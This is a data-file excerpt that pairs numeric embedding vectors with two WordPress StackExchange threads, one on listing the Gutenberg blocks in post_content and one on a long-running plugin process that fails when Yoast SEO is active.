-0.00817108154296875, 0.02728271484375, -0.0203857421875, -0.06927490234375, 0.060546875, 0.007244110107421875, -0.03680419921875, -0.06719970703125, -0.02593994140625, -0.022613525390625, 0.045013427734375, -0.01922607421875, -0.0107574462890625, -0.06549072265625, 0.039825439453125, -0.0091552734375, 0.0106201171875, 0.0228424072265625, -0.0277252197265625, -0.017486572265625, -0.013671875, -0.004131317138671875, -0.023529052734375, 0.01317596435546875, -0.02081298828125, 0.0078277587890625, 0.033782958984375, -0.034637451171875, -0.05670166015625, -0.01181793212890625, -0.01568603515625, 0.033050537109375, 0.01499176025390625, -0.039337158203125, -0.064697265625, -0.014556884765625, -0.006031036376953125, 0.0079803466796875, 0.04754638671875, 0.006237030029296875, 0.0009918212890625, -0.01486968994140625, 0.0123748779296875, 0.004276275634765625, -0.0189208984375, 0.0237274169921875, -0.01226043701171875, 0.00021278858184814453, 0.01480865478515625, 0.002964019775390625, -0.026611328125, -0.0262908935546875, -0.0201873779296875, 0.007537841796875, -0.07330322265625, -0.0177459716796875, 0.0194244384765625, -0.02667236328125, -0.035308837890625, 0.0105438232421875, 0.01398468017578125, -0.0223846435546875, 0.0004973411560058594, 0.0263519287109375, 0.01540374755859375, -0.018798828125, -0.01274871826171875, 0.035736083984375, -0.03643798828125, 0.01007843017578125, -0.016998291015625, -0.01788330078125, 0.04296875, -0.013946533203125, 0.03662109375, 0.00518035888671875, 0.039031982421875, -0.0057373046875, 0.0999755859375, -0.0029964447021484375, 0.0116424560546875, -0.00534820556640625, 0.058197021484375, 0.00849151611328125, -0.0307159423828125, 0.02325439453125, -0.055572509765625, -0.005062103271484375, -0.01488494873046875, -0.038970947265625, -0.036407470703125, -0.002544403076171875, 0.007610321044921875, -0.032012939453125, 0.02099609375 ]
7e9ed24418910964ad46fea0c9d95dc1160c4c3d
Wordpress Stackexchange Q: Check what Gutenberg blocks are in post_content I'm working on a design that has different styling if a certain Gutenberg block is present on a page. In other words, if the first block is a custom built Gutenberg block, the post_title is rendered elsewhere due to design choices made. Is there any function in WordPress to get a list of all Gutenberg blocks present in the post_content? A: WordPress 5.0+ has a function for this: parse_blocks(). To see if the first block in the post is the Heading block, you'd do this: $post = get_post(); if ( has_blocks( $post->post_content ) ) { $blocks = parse_blocks( $post->post_content ); if ( $blocks[0]['blockName'] === 'core/heading' ) { } }
Q: Check what Gutenberg blocks are in post_content I'm working on a design that has different styling if a certain Gutenberg block is present on a page. In other words, if the first block is a custom built Gutenberg block, the post_title is rendered elsewhere due to design choices made. Is there any function in WordPress to get a list of all Gutenberg blocks present in the post_content? A: WordPress 5.0+ has a function for this: parse_blocks(). To see if the first block in the post is the Heading block, you'd do this: $post = get_post(); if ( has_blocks( $post->post_content ) ) { $blocks = parse_blocks( $post->post_content ); if ( $blocks[0]['blockName'] === 'core/heading' ) { } } A: The solution I'm using as of writing check the post_content for the Gutenberg HTML comments. Due to future Gutenberg changes this might not work in the future. <?php $post_content = get_the_content( get_the_ID() ); // Get the post_content preg_match_all('<!-- /wp:(.*?) -->', $post_content, $blocks); // Get all matches in between <!-- /wp: --> strings // $blocks[1] contains the names of all the blocks present in the post_content if ( in_array( 'heading', $blocks[1] ) ) { // Post content contains a wp:heading block } else { // Post content does not contain a wp:heading block } A: As of the release of 5.0 these functions have been deprecated with Gutenberg now integrated into the core. I imagine, but have not confirmed that these functions still exist in the Gutenberg standalone plugin. Instead of gutenberg_content_has_blocks use has_blocks Instead of gutenberg_parse_blocks use parse_blocks
wordpress
{ "language": "en", "length": 256, "provenance": "stackexchange_00019.jsonl.gz:488300", "question_score": "30", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/310301" }
[ -0.035552978515625, 0.003040313720703125, -0.0174407958984375, 0.03173828125, -0.026611328125, -0.0287322998046875, 0.0027141571044921875, -0.042083740234375, -0.017791748046875, 0.050506591796875, -0.00183868408203125, -0.0167694091796875, -0.0016660690307617188, -0.01898193359375, -0.029998779296875, -0.03594970703125, 0.05242919921875, -0.0113677978515625, 0.044464111328125, 0.0122833251953125, -0.0178375244140625, 0.02947998046875, 0.0164031982421875, 0.0791015625, 0.038970947265625, -0.08416748046875, 0.08917236328125, -0.0093536376953125, 0.05047607421875, -0.02459716796875, 0.05731201171875, -0.01099395751953125, 0.0223236083984375, -0.0188751220703125, 0.00948333740234375, 0.023773193359375, 0.033050537109375, -0.025360107421875, 0.006103515625, 0.0306396484375, 0.0237579345703125, -0.01702880859375, 0.0030765533447265625, -0.00775146484375, 0.0016040802001953125, 0.007595062255859375, -0.007110595703125, -0.0557861328125, 0.043426513671875, 0.021759033203125, -0.0191802978515625, -0.0244598388671875, -0.0264434814453125, -0.015655517578125, -0.01593017578125, -0.037506103515625, -0.020111083984375, 0.024810791015625, 0.02142333984375, 0.0179595947265625, -0.0213775634765625, 0.0264129638671875, -0.00046634674072265625, -0.031585693359375, -0.0035533905029296875, 0.0193328857421875, 0.01226043701171875, 0.01172637939453125, -0.0225830078125, -0.0159759521484375, -0.0019817352294921875, -0.0160980224609375, -0.01141357421875, -0.041259765625, -0.00032782554626464844, 0.0106201171875, -0.0243682861328125, -0.054840087890625, 0.006549835205078125, 0.022308349609375, -0.029205322265625, 0.03076171875, -0.059814453125, -0.03173828125, 0.019500732421875, -0.0024356842041015625, -0.023223876953125, -0.0171966552734375, -0.022430419921875, -0.031097412109375, -0.0165863037109375, -0.00911712646484375, -0.0546875, 0.0114288330078125, -0.00853729248046875, -0.0284271240234375, 0.021484375, 0.0357666015625, -0.033966064453125, -0.02484130859375, -0.00940704345703125, -0.035675048828125, 0.0045623779296875, -0.0266265869140625, 0.0154876708984375, -0.00017380714416503906, -0.015228271484375, -0.0132293701171875, 0.05035400390625, 0.025054931640625, -0.01409912109375, 0.050079345703125, -0.02520751953125, -0.01424407958984375, -0.019134521484375, 0.0264434814453125, -0.0443115234375, -0.00855255126953125, -0.009246826171875, -0.004337310791015625, 0.03289794921875, 0.047393798828125, 0.03729248046875, -0.034759521484375, -0.0003986358642578125, 0.0130462646484375, -0.038482666015625, -0.062164306640625, -0.0221099853515625, 0.0218048095703125, -0.01387786865234375, 0.0211639404296875, 0.0216064453125, 0.0229339599609375, 0.0025157928466796875, -0.0178375244140625, 0.009063720703125, 0.021453857421875, -0.0165863037109375, -0.01294708251953125, -0.0003883838653564453, 0.01267242431640625, 0.0206298828125, -0.03662109375, -0.0006189346313476562, 0.002410888671875, 0.032623291015625, 0.02178955078125, -0.046630859375, -0.07794189453125, 0.0579833984375, -0.0068511962890625, 0.0272979736328125, 0.00530242919921875, 0.0226287841796875, -0.01230621337890625, 0.04071044921875, -0.020233154296875, -0.022125244140625, -0.028778076171875, 0.040191650390625, -0.028228759765625, -0.03985595703125, -0.0022678375244140625, -0.03985595703125, 0.03448486328125, -0.0037994384765625, -0.005840301513671875, 0.01629638671875, 0.027923583984375, -0.018798828125, -0.0090179443359375, 0.023162841796875, -0.03997802734375, -0.053131103515625, -0.014312744140625, 0.0077362060546875, -0.0321044921875, 0.007701873779296875, 0.075927734375, 0.00717926025390625, -0.017669677734375, -0.00528717041015625, -0.00940704345703125, -0.0533447265625, 0.03582763671875, 0.002841949462890625, 0.042205810546875, 0.0256500244140625, -0.0038299560546875, 0.023193359375, 0.004459381103515625, -0.040863037109375, -0.0300445556640625, -0.00860595703125, 0.018402099609375, 0.01183319091796875, 0.0269927978515625, -0.002353668212890625, 0.005474090576171875, 0.0582275390625, -0.024627685546875, 0.045074462890625, -0.028564453125, -0.024078369140625, -0.015655517578125, -0.0030193328857421875, 0.00963592529296875, 0.01560211181640625, 0.0085601806640625, 0.005126953125, -0.020172119140625, -0.00621795654296875, -0.0216522216796875, -0.032012939453125, 0.0164794921875, 0.001674652099609375, 0.019989013671875, 0.0016803741455078125, 0.0021343231201171875, 0.01280975341796875, -0.01326751708984375, -0.0175933837890625, 0.026824951171875, 0.0985107421875, 0.046173095703125, -0.015594482421875, -0.00328826904296875, 0.0526123046875, 0.08636474609375, -0.1500244140625, -0.042205810546875, 0.0255126953125, -0.0007524490356445312, -0.0282745361328125, 0.0185699462890625, 0.020233154296875, -0.022430419921875, -0.01505279541015625, 0.04217529296875, 0.03924560546875, 0.039398193359375, -0.0203399658203125, -0.055999755859375, 0.043670654296875, -0.036895751953125, 0.007808685302734375, -0.034393310546875, 0.0286712646484375, 0.06512451171875, -0.06463623046875, 0.0290374755859375, 0.023406982421875, 0.0130615234375, 0.0174713134765625, 0.04718017578125, -0.0029468536376953125, -0.01067352294921875, -0.047027587890625, 0.0455322265625, 0.00574493408203125, 0.0099945068359375, -0.0204620361328125, -0.003322601318359375, 0.1190185546875, 0.0106353759765625, 0.0804443359375, 0.052520751953125, -0.055938720703125, 0.0242919921875, 0.01702880859375, 0.0252838134765625, 0.005802154541015625, 0.0560302734375, 0.0693359375, 0.0206298828125, -0.039886474609375, -0.0293731689453125, 0.03985595703125, 0.050018310546875, -0.016754150390625, 0.0141448974609375, -0.050445556640625, -0.00540924072265625, -0.012542724609375, -0.044677734375, 0.004302978515625, 0.021820068359375, 0.005710601806640625, -0.015869140625, 0.00437164306640625, 0.0184173583984375, -0.00998687744140625, 0.01522064208984375, 0.0189056396484375, -0.0215301513671875, 0.01291656494140625, -0.0802001953125, 0.0467529296875, -0.0455322265625, 0.05487060546875, 0.06488037109375, -0.0168609619140625, 0.011383056640625, -0.0157318115234375, -0.0004839897155761719, 0.0020389556884765625, -0.0251007080078125, -0.0361328125, -0.0120849609375, -0.06072998046875, -0.022705078125, 0.0181884765625, 0.061248779296875, 0.01546478271484375, -0.0218658447265625, 0.032501220703125, 0.0291595458984375, -0.020904541015625, -0.0263824462890625, -0.0494384765625, -0.033782958984375, -0.02880859375, -0.0203857421875, -0.0178375244140625, 0.03216552734375, -0.02386474609375, 0.0005841255187988281, -0.031158447265625, -0.032501220703125, -0.09381103515625, -0.08197021484375, -0.0806884765625, 0.0399169921875, -0.0218505859375, 0.0253753662109375, 0.0084228515625, -0.0008482933044433594, -0.0011720657348632812, -0.03753662109375, 0.00753021240234375, 0.0274200439453125, -0.0182647705078125, -0.01186370849609375, 0.0002589225769042969, -0.0013971328735351562, -0.03155517578125, 0.033447265625, -0.059783935546875, -0.0328369140625, 0.028533935546875, -0.03521728515625, -0.01049041748046875, -0.00498199462890625, 0.016632080078125, 0.014068603515625, -0.0003883838653564453, -0.014007568359375, 0.0103759765625, -0.047576904296875, -0.05584716796875, 0.00801849365234375, -0.051422119140625, 0.055328369140625, 0.0443115234375, -0.00850677490234375, 0.006072998046875, 0.0177154541015625, 0.0173797607421875, 0.026824951171875, 0.03363037109375, -0.01540374755859375, 0.0105133056640625, -0.01220703125, -0.002544403076171875, -0.0242919921875, 0.015777587890625, -0.0034313201904296875, 0.0181884765625, -0.0002371072769165039, 0.04022216796875, -0.007434844970703125, 0.0308074951171875, -0.055023193359375, -0.0166168212890625, 0.04083251953125, 0.01035308837890625, 0.0517578125, -0.0169525146484375, -0.036285400390625, 0.01068878173828125, 0.08404541015625, -0.0164337158203125, -0.01136016845703125, -0.0014133453369140625, 0.007965087890625, -0.013519287109375, -0.037811279296875, -0.0299835205078125, -0.002185821533203125, -0.07281494140625, -0.001216888427734375, -0.00612640380859375, -0.052520751953125, -0.0093231201171875, -0.004734039306640625, -0.047088623046875, -0.017425537109375, 0.0164947509765625, -0.02020263671875, 0.019134521484375, 0.033416748046875, -0.0033416748046875, 0.01172637939453125, -0.0021381378173828125, -0.03753662109375, -0.06109619140625, -0.0013408660888671875, -0.02630615234375, 0.031951904296875, 0.00940704345703125, -0.01387786865234375, -0.022735595703125, 0.0258026123046875, -0.01097869873046875, 0.0399169921875, 0.01548004150390625, 0.02191162109375, 0.082275390625, -0.01251220703125, 0.0153350830078125, -0.026611328125, 0.004405975341796875, -0.0073394775390625, -0.01074981689453125, 0.063232421875, -0.03289794921875, 0.0161590576171875, -0.025543212890625, -0.009674072265625, -0.0152740478515625, -0.024322509765625, -0.0297393798828125, 0.0093994140625, -0.01287841796875, 0.004314422607421875, -0.029266357421875, -0.035614013671875, 0.04315185546875, 0.05401611328125, -0.0229339599609375, 0.0087432861328125, 0.036895751953125, 0.01535797119140625, -0.045501708984375, -0.058197021484375, 0.004180908203125, 0.024658203125, -0.0408935546875, 0.09613037109375, 0.03680419921875, -0.006214141845703125, 0.08856201171875, -0.032562255859375, -0.0148773193359375, -0.01053619384765625, 0.026763916015625, -0.0036773681640625, -0.01313018798828125, -0.0027904510498046875, -0.01806640625, 0.038482666015625, 0.01319122314453125, -0.040863037109375, 0.030670166015625, -0.00342559814453125, -0.00949859619140625, -0.0178985595703125, 0.0159759521484375, 0.0019025802612304688, 0.0008816719055175781, -0.004520416259765625, 0.03839111328125, 0.01451873779296875, 0.0291595458984375, -0.008697509765625, 0.0034236907958984375, 0.0273590087890625, 0.01555633544921875, 0.0273284912109375, 0.0335693359375, -0.0286407470703125, 0.035247802734375, 0.0130462646484375, -0.01497650146484375, 0.00289154052734375, 0.0146026611328125, 0.0245819091796875, -0.030303955078125, -0.053436279296875, -0.0259246826171875, -0.0189666748046875, 0.0013599395751953125, 0.040985107421875, 0.0002465248107910156, 0.027069091796875, 0.0111541748046875, -0.030487060546875, -0.01233673095703125, 0.0163116455078125, -0.0270233154296875, -0.045623779296875, 0.0006189346313476562, 0.0008749961853027344, -0.01262664794921875, 0.0172576904296875, 0.0199432373046875, -0.006877899169921875, 0.017852783203125, -0.007808685302734375, 0.002887725830078125, -0.00635528564453125, 0.0208892822265625, 0.0265045166015625, -0.0246124267578125, -0.01099395751953125, 0.0017862319946289062, 0.0148162841796875, -0.04241943359375, -0.021636962890625, 0.00995635986328125, 0.055816650390625, -0.0247344970703125, -0.025390625, 0.026031494140625, -0.033538818359375, -0.0038280487060546875, 0.00963592529296875, -0.00464630126953125, 0.0027904510498046875, -0.0155792236328125, 0.00983428955078125, 0.025390625, 0.0206756591796875, -0.022186279296875, -0.020599365234375, -0.036285400390625, -0.007843017578125, 0.00954437255859375, -0.050567626953125, 0.02032470703125, 0.015289306640625, -0.00009822845458984375, -0.0224761962890625, -0.0191650390625, -0.00830841064453125, -0.01363372802734375, -0.01264190673828125, -0.0248870849609375, 0.0650634765625, -0.037628173828125, 0.00963592529296875, -0.028533935546875, 0.0228424072265625, -0.045654296875, 0.04095458984375, 0.0223388671875, 0.035430908203125, -0.0374755859375, -0.02093505859375, -0.06439208984375, 0.01015472412109375, -0.0255584716796875, -0.07073974609375, 0.00518798828125, 0.00698089599609375, 0.013092041015625, 0.01120758056640625, 0.0159912109375, 0.00649261474609375, 0.0294189453125, 0.042724609375, -0.00630950927734375, 0.061126708984375, -0.0203094482421875, 0.084716796875, 0.0021266937255859375, 0.037567138671875, -0.000010967254638671875, 0.037353515625, 0.010345458984375, -0.016082763671875, -0.019989013671875, -0.045654296875, 0.00043892860412597656, 0.0115966796875, 0.049072265625, 0.0205078125, -0.01346588134765625, 0.01314544677734375, 0.012176513671875, -0.0161895751953125, 0.010955810546875, -0.0232086181640625, -0.00258636474609375, -0.018310546875, -0.05596923828125, 0.04815673828125, 0.01280975341796875, 0.0019893646240234375, -0.027984619140625, -0.0267181396484375, 0.034271240234375, 0.02117919921875, 0.013641357421875, -0.0304412841796875, -0.0084075927734375, 0.02349853515625, 0.01346588134765625, 0.01107025146484375, 0.0357666015625, 0.0311126708984375, 0.0283660888671875, 0.0011720657348632812, -0.01384735107421875, 0.00508880615234375, 0.0243988037109375, 0.048858642578125, 0.01178741455078125, 0.0330810546875, 0.049468994140625, -0.0022716522216796875, -0.01273345947265625, 0.000057637691497802734, 0.02398681640625, -0.01092529296875, 0.0029315948486328125, 0.0197296142578125, -0.01299285888671875, -0.017913818359375, -0.01233673095703125, -0.013580322265625, -0.040435791015625, 0.050079345703125, 0.0101165771484375, -0.00748443603515625, 0.0186614990234375, -0.0081329345703125, -0.00806427001953125, -0.026397705078125, 0.0202789306640625, 0.00702667236328125, -0.0299072265625, 0.014892578125, 0.00551605224609375, 0.0010280609130859375, -0.0265350341796875, 0.0172271728515625, -0.01212310791015625, 0.0054168701171875, -0.026092529296875, 0.0262603759765625, -0.024078369140625, 0.0108184814453125, 0.005107879638671875, 0.03814697265625, 0.00466156005859375, 0.06488037109375, -0.00782012939453125, -0.007183074951171875, 0.036529541015625, -0.03839111328125, -0.046630859375, -0.003448486328125, 0.0244293212890625, 0.05615234375, -0.047760009765625, 0.034454345703125, -0.0218963623046875, 0.004730224609375, 0.00006681680679321289, 0.03216552734375, 0.08184814453125, -0.038726806640625, -0.0256805419921875, 0.03729248046875, 0.02410888671875, -0.00995635986328125, 0.01448822021484375, 0.1080322265625, -0.0107574462890625, 0.0291595458984375, 0.036865234375, 0.05889892578125, -0.052703857421875, 0.0229034423828125, -0.07843017578125, 0.048004150390625, 0.016204833984375, 0.03912353515625, -0.00878143310546875, 0.0117340087890625, -0.01058197021484375, -0.012298583984375, -0.05694580078125, 0.0966796875, 0.03173828125, 0.045623779296875, -0.089599609375, -0.01273345947265625, 0.0009641647338867188, 0.027862548828125, 0.050811767578125, 0.007305145263671875, -0.01318359375, -0.040740966796875, -0.0141448974609375, 0.047821044921875, -0.0289154052734375, 0.01271820068359375, 0.00585174560546875, 0.0041961669921875, 0.015899658203125, -0.0251617431640625, 0.037322998046875, -0.05645751953125, -0.01861572265625, 0.0135498046875, 0.0261688232421875, 0.040924072265625, 0.0166473388671875, -0.03778076171875, -0.004375457763671875, -0.005748748779296875, 0.0194854736328125, -0.04339599609375, -0.0264892578125, 0.032989501953125, 0.0350341796875, -0.0640869140625, -0.0240325927734375, -0.035858154296875, 0.04248046875, 0.035980224609375, 0.03021240234375, 0.01407623291015625, 0.02069091796875, 0.01849365234375, -0.0073394775390625, 0.0216217041015625, 0.0178375244140625, -0.038787841796875, 0.06036376953125, 0.02239990234375, 0.0014600753784179688, -0.04949951171875, 0.00330352783203125, 0.0224151611328125, 0.048858642578125, -0.042205810546875, -0.047088623046875, 0.021209716796875, 0.0225830078125, 0.006072998046875, 0.01299285888671875, 0.007099151611328125, -0.0020389556884765625, 0.03759765625, -0.031829833984375, -0.04144287109375, -0.00965118408203125, 0.0272674560546875, -0.01529693603515625, -0.0213623046875, 0.048675537109375, -0.05865478515625, -0.019256591796875, 0.016143798828125, 0.00626373291015625, 0.0289154052734375, -0.00921630859375, 0.06671142578125, -0.00888824462890625, -0.0077362060546875, -0.040985107421875, 0.038177490234375, 0.00470733642578125, 0.04620361328125, -0.0289764404296875, 0.0075531005859375, 0.0194244384765625, 0.02557373046875, 0.032196044921875, 0.003734588623046875, 0.027435302734375, 0.0386962890625, 0.026458740234375, -0.0056610107421875, 0.0307769775390625, 0.0024662017822265625, -0.0224456787109375, -0.03009033203125, -0.0169219970703125, -0.022857666015625, -0.0127410888671875, 0.0177001953125, 0.03704833984375, -0.01389312744140625, 0.0129852294921875, 0.0555419921875, 0.01552581787109375, -0.0218963623046875, -0.015655517578125, 0.01453399658203125, 0.04364013671875, 0.0467529296875, -0.07098388671875, -0.004665374755859375, 0.0015420913696289062, -0.034210205078125, -0.0025234222412109375, 0.025909423828125, -0.033111572265625, 0.04083251953125, 0.0047149658203125, 0.0005831718444824219, 0.038848876953125, -0.03961181640625, 0.0401611328125, 0.050689697265625, -0.001171112060546875, 0.030731201171875, -0.033660888671875, -0.0106201171875, 0.03778076171875, 0.014190673828125, -0.02398681640625, 0.045379638671875, -0.0018062591552734375, -0.019683837890625, -0.0226593017578125, 0.0210113525390625, -0.0291595458984375, -0.020355224609375, 0.017303466796875, 0.039215087890625, 0.0309295654296875, -0.0217132568359375, -0.0806884765625, -0.019683837890625, 0.07733154296875, 0.0202484130859375, 0.01441192626953125, 0.01520538330078125, 0.0238494873046875, -0.04388427734375, 0.0004818439483642578, -0.032012939453125, -0.050872802734375, -0.0254974365234375, 0.0152740478515625, -0.0010242462158203125, 0.0180206298828125, 0.00728607177734375, 0.050018310546875, 0.034912109375, -0.03472900390625, 0.033203125, -0.06304931640625, 0.048492431640625, 0.039886474609375, 0.027923583984375, -0.035186767578125, -0.0025501251220703125, -0.0043487548828125, 0.005413055419921875, 0.0137481689453125, 0.019378662109375, 0.0196380615234375, 0.00832366943359375, -0.005977630615234375, -0.00373077392578125, 0.02642822265625, -0.01287078857421875, 0.00995635986328125, 0.0142974853515625, -0.0097198486328125, -0.007183074951171875, -0.005672454833984375, -0.01020050048828125, -0.0261077880859375, -0.029052734375, -0.004856109619140625, -0.018798828125, -0.036529541015625, -0.00323486328125, -0.0220947265625, 0.00725555419921875, -0.018035888671875, -0.0037288665771484375, 0.027435302734375, -0.030731201171875, -0.044158935546875, -0.0220489501953125, 0.0299224853515625, -0.00959014892578125, 0.047271728515625, -0.033416748046875, 0.017974853515625, -0.0256195068359375, -0.013763427734375, -0.0186767578125, -0.005466461181640625, 0.01123046875, -0.0173492431640625, -0.0321044921875, -0.0010919570922851562, 0.01401519775390625, 0.032867431640625, 0.007076263427734375, -0.0091400146484375, 0.01499176025390625, -0.01480865478515625, -0.036468505859375, -0.02203369140625, 0.044464111328125, -0.0743408203125, -0.035125732421875, -0.01192474365234375, 0.007755279541015625, 0.020111083984375, -0.0277862548828125, -0.040679931640625, 0.00942230224609375, 0.005184173583984375, -0.033416748046875, -0.040863037109375, 0.03533935546875, 0.00011450052261352539, 0.0030765533447265625, -0.02337646484375, 0.0193634033203125, 0.0050506591796875, 0.01349639892578125, -0.01751708984375, 0.0164642333984375, 0.00922393798828125, -0.02227783203125, -0.0297393798828125, -0.00153350830078125, -0.0010700225830078125, -0.0219879150390625, -0.0038909912109375, -0.0218963623046875, 0.0157318115234375, -0.001934051513671875, -0.0457763671875, -0.040740966796875, 0.00408172607421875, 0.0445556640625, 0.008026123046875, -0.0318603515625, -0.03216552734375, -0.0252685546875, 0.0709228515625, 0.02008056640625, 0.01529693603515625, -0.02166748046875, 0.0227508544921875, 0.00917816162109375, -0.07598876953125, 0.01788330078125, 0.03204345703125, -0.029083251953125, 0.01036834716796875, -0.004428863525390625, -0.015380859375, -0.0030727386474609375, -0.0131988525390625, -0.041259765625, -0.0219879150390625, -0.0693359375, -0.0169677734375, -0.06292724609375, 0.01041412353515625, -0.0238494873046875, -0.004383087158203125, -0.0191497802734375, -0.0182037353515625, 0.01348114013671875, -0.042694091796875, -0.01605224609375, 0.0277252197265625, -0.00934600830078125, -0.004207611083984375, 0.01195526123046875, 0.01532745361328125, 0.0232696533203125, -0.00945281982421875, -0.036346435546875, 0.0007867813110351562, -0.01641845703125, -0.01548004150390625, -0.049896240234375, -0.00940704345703125, 0.03515625, -0.031219482421875, 0.07769775390625, 0.0273284912109375, 0.0269317626953125, 0.007171630859375, 0.039520263671875, 0.0225372314453125, -0.056640625, 0.040618896484375, -0.06036376953125, -0.010589599609375, 0.019989013671875, -0.0261383056640625, -0.0635986328125, 0.0150604248046875, 0.00872802734375, 0.0260772705078125, 0.0020542144775390625 ]
156364ab272824fdbdfdc7414944028356cce3e5
Wordpress Stackexchange Q: Yoast SEO blocking/re-initialising longer running process I have created a custom plugin, the job of which is to calls an external API to fetch data and fill in some custom tables in WordPress database. This is really a long-running process (maybe over 30 minutes) and for that, I also have updated the php.ini configuration file accordingly. But somehow the process is failing in a time interval (around 240 seconds). While debugging this issue I found this strange thing that - the process is failing only when the popular plugin Yoast SEO is activated otherwise the job is finishing without any issues. Another thing to mention is in each time interval of around 240 seconds the process is being re-initiated again and again. Is there anything that Yoast SEO is blocking or any workaround of this problem?
Q: Yoast SEO blocking/re-initialising longer running process I have created a custom plugin, the job of which is to calls an external API to fetch data and fill in some custom tables in WordPress database. This is really a long-running process (maybe over 30 minutes) and for that, I also have updated the php.ini configuration file accordingly. But somehow the process is failing in a time interval (around 240 seconds). While debugging this issue I found this strange thing that - the process is failing only when the popular plugin Yoast SEO is activated otherwise the job is finishing without any issues. Another thing to mention is in each time interval of around 240 seconds the process is being re-initiated again and again. Is there anything that Yoast SEO is blocking or any workaround of this problem?
wordpress
{ "language": "en", "length": 137, "provenance": "stackexchange_00019.jsonl.gz:488310", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/310334" }
[ 0.07281494140625, 0.012664794921875, 0.0311279296875, -0.0208587646484375, 0.0278167724609375, -0.015411376953125, 0.0268707275390625, -0.040740966796875, -0.01497650146484375, -0.0033512115478515625, -0.008880615234375, -0.0171966552734375, -0.0003542900085449219, -0.04302978515625, 0.0239410400390625, -0.038177490234375, 0.033782958984375, 0.0220794677734375, 0.0145111083984375, -0.02508544921875, -0.0059661865234375, 0.00557708740234375, -0.006855010986328125, 0.058746337890625, 0.01090240478515625, -0.0244903564453125, 0.04559326171875, -0.035125732421875, 0.0160675048828125, -0.021697998046875, 0.01983642578125, -0.00969696044921875, 0.005420684814453125, 0.046173095703125, -0.01499176025390625, -0.004413604736328125, 0.0034637451171875, 0.032073974609375, 0.0241851806640625, 0.007129669189453125, 0.0121917724609375, 0.0078125, 0.019683837890625, 0.032958984375, -0.0023746490478515625, -0.0400390625, 0.017059326171875, -0.06610107421875, 0.0061492919921875, 0.041107177734375, 0.0093536376953125, 0.01255035400390625, -0.00136566162109375, 0.026031494140625, 0.0199737548828125, 0.0247802734375, -0.050445556640625, 0.0278167724609375, -0.00470733642578125, 0.052825927734375, 0.0213623046875, 0.0201416015625, -0.0242919921875, -0.003993988037109375, -0.0025424957275390625, -0.00189208984375, -0.006313323974609375, 0.0361328125, -0.0252227783203125, -0.00475311279296875, 0.008026123046875, -0.02227783203125, -0.05615234375, 0.0216522216796875, -0.0394287109375, -0.006992340087890625, 0.058502197265625, -0.0205078125, -0.0228118896484375, 0.049957275390625, 0.0309295654296875, -0.048858642578125, 0.03924560546875, 0.0034198760986328125, -0.0243377685546875, -0.0193634033203125, 0.00052642822265625, 0.01032257080078125, -0.0302734375, -0.0173797607421875, -0.0248870849609375, 0.010345458984375, -0.028350830078125, -0.0521240234375, -0.03131103515625, -0.04534912109375, 0.012481689453125, -0.0069122314453125, 0.0013208389282226562, 0.0003731250762939453, 0.015899658203125, -0.0399169921875, 0.0229644775390625, 0.006038665771484375, -0.00131988525390625, 0.008544921875, -0.0083465576171875, 0.002033233642578125, 0.04058837890625, 0.03753662109375, -0.00965118408203125, 0.0546875, -0.0310211181640625, -0.024200439453125, -0.0704345703125, 0.00864410400390625, -0.0238037109375, -0.064453125, 0.0034313201904296875, -0.063232421875, -0.01374053955078125, -0.0026645660400390625, -0.006927490234375, -0.004352569580078125, 0.032745361328125, -0.0009136199951171875, -0.033538818359375, 0.029693603515625, 0.024169921875, -0.0155487060546875, -0.0307159423828125, 0.008544921875, 0.067138671875, 0.045257568359375, 0.0244598388671875, 0.00470733642578125, 0.02459716796875, 0.0179290771484375, -0.004405975341796875, 0.0172576904296875, 0.0003533363342285156, -0.06256103515625, -0.045745849609375, 0.0116424560546875, 0.0164642333984375, -0.0137939453125, 0.022003173828125, 0.027435302734375, 0.01335906982421875, -0.01457977294921875, 0.0112762451171875, 0.00608062744140625, 0.04443359375, -0.019439697265625, -0.025909423828125, -0.0419921875, 0.0073089599609375, -0.033782958984375, 0.0109100341796875, -0.0218353271484375, -0.002590179443359375, 0.0006356239318847656, -0.0083770751953125, -0.03179931640625, -0.041015625, -0.0288848876953125, -0.007476806640625, 0.006549835205078125, 0.020538330078125, -0.021209716796875, 0.0209197998046875, 0.0211181640625, -0.001743316650390625, -0.0018863677978515625, -0.00684356689453125, -0.01904296875, 0.0028591156005859375, 0.0066680908203125, 0.05694580078125, -0.049713134765625, -0.060699462890625, -0.046295166015625, 0.088623046875, -0.0528564453125, -0.020294189453125, 0.0413818359375, -0.0103759765625, 0.0271759033203125, 0.019683837890625, 0.00994873046875, -0.0192413330078125, 0.034149169921875, 0.0250701904296875, 0.044891357421875, 0.003887176513671875, -0.0736083984375, -0.02447509765625, -0.021728515625, -0.0175933837890625, -0.027618408203125, 0.0099639892578125, -0.0026721954345703125, -0.0273284912109375, -0.0242919921875, -0.1007080078125, -0.01153564453125, -0.0295867919921875, 0.0293426513671875, -0.01201629638671875, 0.0259857177734375, -0.0082855224609375, -0.0201873779296875, -0.01544952392578125, 0.0224151611328125, -0.0017719268798828125, -0.0186767578125, -0.043853759765625, 0.01708984375, 0.0219879150390625, 0.02496337890625, 0.002986907958984375, -0.004772186279296875, 0.0027103424072265625, -0.0384521484375, 0.0283660888671875, -0.0020275115966796875, -0.01788330078125, -0.00336456298828125, 0.023193359375, -0.0084075927734375, 0.017669677734375, 0.034912109375, 0.07830810546875, 0.0819091796875, -0.004512786865234375, -0.016204833984375, 0.0107269287109375, -0.0882568359375, -0.00284576416015625, 0.04754638671875, 0.034332275390625, -0.005283355712890625, -0.0260772705078125, -0.015716552734375, 0.0003991127014160156, -0.08917236328125, -0.023712158203125, 0.008056640625, 0.0248870849609375, 0.01456451416015625, -0.03131103515625, -0.036590576171875, 0.033843994140625, -0.015960693359375, -0.01326751708984375, 0.02508544921875, -0.002613067626953125, -0.06085205078125, 0.006633758544921875, 0.01430511474609375, 0.0163421630859375, 0.036529541015625, -0.019439697265625, 0.0236663818359375, 0.053009033203125, 0.006046295166015625, 0.052703857421875, 0.044281005859375, -0.041015625, 0.01493072509765625, 0.0239410400390625, 0.03387451171875, -0.00746917724609375, 0.021636962890625, 0.01174163818359375, -0.019683837890625, -0.038787841796875, 0.0142822265625, -0.0252838134765625, -0.0026187896728515625, -0.0218963623046875, -0.01076507568359375, -0.0026683807373046875, 0.00045371055603027344, -0.01006317138671875, -0.058013916015625, 0.0343017578125, 0.010498046875, 0.04486083984375, 0.0262451171875, 0.043182373046875, 0.00963592529296875, -0.0199432373046875, 0.06072998046875, 